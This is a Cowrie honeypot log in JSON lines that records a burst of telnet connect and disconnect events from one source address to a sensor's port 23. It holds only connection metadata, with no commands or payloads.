{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60406,"dst_ip":"159.203.135.109","dst_port":23,"session":"a538c5ce6098","protocol":"telnet","message":"New connection: 69.6.196.124:60406 (159.203.135.109:23) [session: a538c5ce6098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.696886Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60412,"dst_ip":"159.203.135.109","dst_port":23,"session":"16850fe0f8ff","protocol":"telnet","message":"New connection: 69.6.196.124:60412 (159.203.135.109:23) [session: 16850fe0f8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.713022Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60370,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b60a1e2fa50","protocol":"telnet","message":"New connection: 69.6.196.124:60370 (159.203.135.109:23) [session: 9b60a1e2fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.817770Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60416,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd0f660c116b","protocol":"telnet","message":"New connection: 69.6.196.124:60416 (159.203.135.109:23) [session: bd0f660c116b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.022536Z"}
{"eventid":"cowrie.session.closed","duration":30.922961950302124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.287859Z","src_ip":"69.6.196.124","session":"26a6565bfeaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77026677131653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.316558Z","src_ip":"69.6.196.124","session":"97ae7bb61744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91723608970642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.357331Z","src_ip":"69.6.196.124","session":"1f2a9507e888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.541336059570312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.375639Z","src_ip":"69.6.196.124","session":"6dabd3ce05b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781694650650024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.389322Z","src_ip":"69.6.196.124","session":"3908b38ff565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60434,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f9a3ee748f","protocol":"telnet","message":"New connection: 69.6.196.124:60434 (159.203.135.109:23) [session: d3f9a3ee748f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:40.747199Z"}
{"eventid":"cowrie.session.closed","duration":31.259565353393555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.318276Z","src_ip":"69.6.196.124","session":"cafdaf56a9ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f314c05681d","protocol":"telnet","message":"New connection: 69.6.196.124:60436 (159.203.135.109:23) [session: 4f314c05681d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.337805Z"}
{"eventid":"cowrie.session.closed","duration":31.502196073532104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.369513Z","src_ip":"69.6.196.124","session":"5da9bf4a6ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878270864486694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.384944Z","src_ip":"69.6.196.124","session":"90a483f7c20f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60452,"dst_ip":"159.203.135.109","dst_port":23,"session":"df86377fbdbf","protocol":"telnet","message":"New connection: 69.6.196.124:60452 (159.203.135.109:23) [session: df86377fbdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.442667Z"}
{"eventid":"cowrie.session.closed","duration":30.908623456954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.510289Z","src_ip":"69.6.196.124","session":"248c40fe0a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60420,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b67241b215","protocol":"telnet","message":"New connection: 69.6.196.124:60420 (159.203.135.109:23) [session: b8b67241b215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.674731Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ce76de8387","protocol":"telnet","message":"New connection: 69.6.196.124:60460 (159.203.135.109:23) [session: a4ce76de8387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.852781Z"}
{"eventid":"cowrie.session.closed","duration":31.558162212371826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:41.872059Z","src_ip":"69.6.196.124","session":"9a2823b727e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60468,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea6ebcc0963","protocol":"telnet","message":"New connection: 69.6.196.124:60468 (159.203.135.109:23) [session: aea6ebcc0963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.154584Z"}
{"eventid":"cowrie.session.closed","duration":30.969249963760376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.373364Z","src_ip":"69.6.196.124","session":"d46bb22eaa1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431068897247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.379317Z","src_ip":"69.6.196.124","session":"ed25f7e5bb8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36330270767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.386151Z","src_ip":"69.6.196.124","session":"e39b0f6423d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60444,"dst_ip":"159.203.135.109","dst_port":23,"session":"e89a6df7c937","protocol":"telnet","message":"New connection: 69.6.196.124:60444 (159.203.135.109:23) [session: e89a6df7c937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.446302Z"}
{"eventid":"cowrie.session.closed","duration":30.672009468078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.552859Z","src_ip":"69.6.196.124","session":"7ddffbb0509e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12413477897644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.589724Z","src_ip":"69.6.196.124","session":"85fe8de469f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60478,"dst_ip":"159.203.135.109","dst_port":23,"session":"71324248a6d3","protocol":"telnet","message":"New connection: 69.6.196.124:60478 (159.203.135.109:23) [session: 71324248a6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.642057Z"}
{"eventid":"cowrie.session.closed","duration":30.700772523880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.699448Z","src_ip":"69.6.196.124","session":"2c154013aba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60496,"dst_ip":"159.203.135.109","dst_port":23,"session":"a90779e5d560","protocol":"telnet","message":"New connection: 69.6.196.124:60496 (159.203.135.109:23) [session: a90779e5d560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.947793Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60500,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d36d4132cb2","protocol":"telnet","message":"New connection: 69.6.196.124:60500 (159.203.135.109:23) [session: 1d36d4132cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:42.982126Z"}
{"eventid":"cowrie.session.closed","duration":31.00338840484619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.160421Z","src_ip":"69.6.196.124","session":"8eb5ebda7ee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"be44157e482b","protocol":"telnet","message":"New connection: 69.6.196.124:60502 (159.203.135.109:23) [session: be44157e482b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.295192Z"}
{"eventid":"cowrie.session.closed","duration":30.794583797454834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.308062Z","src_ip":"69.6.196.124","session":"79f3ec7a1729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60518,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7371c4e563","protocol":"telnet","message":"New connection: 69.6.196.124:60518 (159.203.135.109:23) [session: 9f7371c4e563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.338865Z"}
{"eventid":"cowrie.session.closed","duration":30.305397272109985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.358155Z","src_ip":"69.6.196.124","session":"32ca1669ae2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471576929092407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.449915Z","src_ip":"185.53.58.141","session":"3d3834e3a12a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665518283843994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.480325Z","src_ip":"69.6.196.124","session":"767237c8a174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60530,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfe7ed134e1","protocol":"telnet","message":"New connection: 69.6.196.124:60530 (159.203.135.109:23) [session: 9bfe7ed134e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.487683Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60540,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a82abd34ea","protocol":"telnet","message":"New connection: 69.6.196.124:60540 (159.203.135.109:23) [session: 37a82abd34ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.619307Z"}
{"eventid":"cowrie.session.closed","duration":31.006499767303467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.720129Z","src_ip":"69.6.196.124","session":"1d3fb56f3216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60542,"dst_ip":"159.203.135.109","dst_port":23,"session":"1640286c93be","protocol":"telnet","message":"New connection: 69.6.196.124:60542 (159.203.135.109:23) [session: 1640286c93be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.752699Z"}
{"eventid":"cowrie.session.closed","duration":31.139533042907715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:43.776305Z","src_ip":"69.6.196.124","session":"047bfc0034ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123955726623535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:44.114894Z","src_ip":"69.6.196.124","session":"5510b79fec03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60568,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0b0036870a4","protocol":"telnet","message":"New connection: 69.6.196.124:60568 (159.203.135.109:23) [session: c0b0036870a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:44.119668Z"}
{"eventid":"cowrie.session.closed","duration":30.55337953567505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:44.286412Z","src_ip":"69.6.196.124","session":"1c8fd85fbc49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51823854446411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:44.707152Z","src_ip":"69.6.196.124","session":"1c6f17bc0ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60576,"dst_ip":"159.203.135.109","dst_port":23,"session":"84371dc436f2","protocol":"telnet","message":"New connection: 69.6.196.124:60576 (159.203.135.109:23) [session: 84371dc436f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:44.815021Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60488,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede664c8a50a","protocol":"telnet","message":"New connection: 69.6.196.124:60488 (159.203.135.109:23) [session: ede664c8a50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:44.938072Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60556,"dst_ip":"159.203.135.109","dst_port":23,"session":"a40c343ae0b9","protocol":"telnet","message":"New connection: 69.6.196.124:60556 (159.203.135.109:23) [session: a40c343ae0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.130953Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60584,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b3a8aece87","protocol":"telnet","message":"New connection: 69.6.196.124:60584 (159.203.135.109:23) [session: 43b3a8aece87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.228770Z"}
{"eventid":"cowrie.session.closed","duration":30.45002007484436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.262913Z","src_ip":"69.6.196.124","session":"bb8fbd097662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923670768737793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.336260Z","src_ip":"69.6.196.124","session":"ea5d2a658673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431750297546387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.381779Z","src_ip":"69.6.196.124","session":"8fe700ca1cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60592,"dst_ip":"159.203.135.109","dst_port":23,"session":"8689c4c00ac6","protocol":"telnet","message":"New connection: 69.6.196.124:60592 (159.203.135.109:23) [session: 8689c4c00ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.515680Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6327ccd85a2","protocol":"telnet","message":"New connection: 69.6.196.124:60598 (159.203.135.109:23) [session: b6327ccd85a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.598238Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60604,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87c64410247","protocol":"telnet","message":"New connection: 69.6.196.124:60604 (159.203.135.109:23) [session: a87c64410247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.633929Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60534,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aad8b4c13ea","protocol":"telnet","message":"New connection: 69.6.196.124:60534 (159.203.135.109:23) [session: 5aad8b4c13ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.642699Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60610,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62ba91c46b6","protocol":"telnet","message":"New connection: 69.6.196.124:60610 (159.203.135.109:23) [session: d62ba91c46b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.756955Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60614,"dst_ip":"159.203.135.109","dst_port":23,"session":"c817eff05482","protocol":"telnet","message":"New connection: 69.6.196.124:60614 (159.203.135.109:23) [session: c817eff05482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:45.809345Z"}
{"eventid":"cowrie.session.closed","duration":30.653098821640015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:46.261829Z","src_ip":"69.6.196.124","session":"aa6ce5865b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60642,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe2a6007d5d","protocol":"telnet","message":"New connection: 69.6.196.124:60642 (159.203.135.109:23) [session: 3fe2a6007d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:46.383646Z"}
{"eventid":"cowrie.session.closed","duration":53.05896878242493,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:46.572965Z","src_ip":"69.6.196.124","session":"344e1b995012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182117462158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:46.639504Z","src_ip":"69.6.196.124","session":"26b06774c79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09067153930664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:46.776915Z","src_ip":"69.6.196.124","session":"cf405d2512f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60624,"dst_ip":"159.203.135.109","dst_port":23,"session":"6594a88ffb55","protocol":"telnet","message":"New connection: 69.6.196.124:60624 (159.203.135.109:23) [session: 6594a88ffb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:46.889899Z"}
{"eventid":"cowrie.session.closed","duration":31.12828516960144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.066213Z","src_ip":"69.6.196.124","session":"bfdb19579e26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60658,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5fe99789bbc","protocol":"telnet","message":"New connection: 69.6.196.124:60658 (159.203.135.109:23) [session: e5fe99789bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.097428Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60674,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e85f961537c","protocol":"telnet","message":"New connection: 69.6.196.124:60674 (159.203.135.109:23) [session: 3e85f961537c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.169629Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e49fb44c22e4","protocol":"telnet","message":"New connection: 69.6.196.124:60640 (159.203.135.109:23) [session: e49fb44c22e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.178159Z"}
{"eventid":"cowrie.session.closed","duration":30.352997303009033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.296534Z","src_ip":"69.6.196.124","session":"d31dd20b8ee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34500551223755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.489790Z","src_ip":"69.6.196.124","session":"45083847d411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14059019088745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.949194Z","src_ip":"69.6.196.124","session":"21a496f210ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60704,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a38bbd45301","protocol":"telnet","message":"New connection: 69.6.196.124:60704 (159.203.135.109:23) [session: 6a38bbd45301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:47.973241Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60714,"dst_ip":"159.203.135.109","dst_port":23,"session":"266ab1e5f862","protocol":"telnet","message":"New connection: 69.6.196.124:60714 (159.203.135.109:23) [session: 266ab1e5f862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.131005Z"}
{"eventid":"cowrie.session.closed","duration":31.022329568862915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.303328Z","src_ip":"69.6.196.124","session":"c6a4afb1ef61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043867826461792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.586228Z","src_ip":"69.6.196.124","session":"099058ba212c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60690,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7efb48af0e6","protocol":"telnet","message":"New connection: 69.6.196.124:60690 (159.203.135.109:23) [session: c7efb48af0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.716431Z"}
{"eventid":"cowrie.session.closed","duration":31.561879873275757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.738680Z","src_ip":"69.6.196.124","session":"f790d678731b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"3acee0d476f1","protocol":"telnet","message":"New connection: 69.6.196.124:60654 (159.203.135.109:23) [session: 3acee0d476f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.777580Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60728,"dst_ip":"159.203.135.109","dst_port":23,"session":"c177abbfd7b4","protocol":"telnet","message":"New connection: 69.6.196.124:60728 (159.203.135.109:23) [session: c177abbfd7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.895169Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60738,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a3e77701c71","protocol":"telnet","message":"New connection: 69.6.196.124:60738 (159.203.135.109:23) [session: 7a3e77701c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.928813Z"}
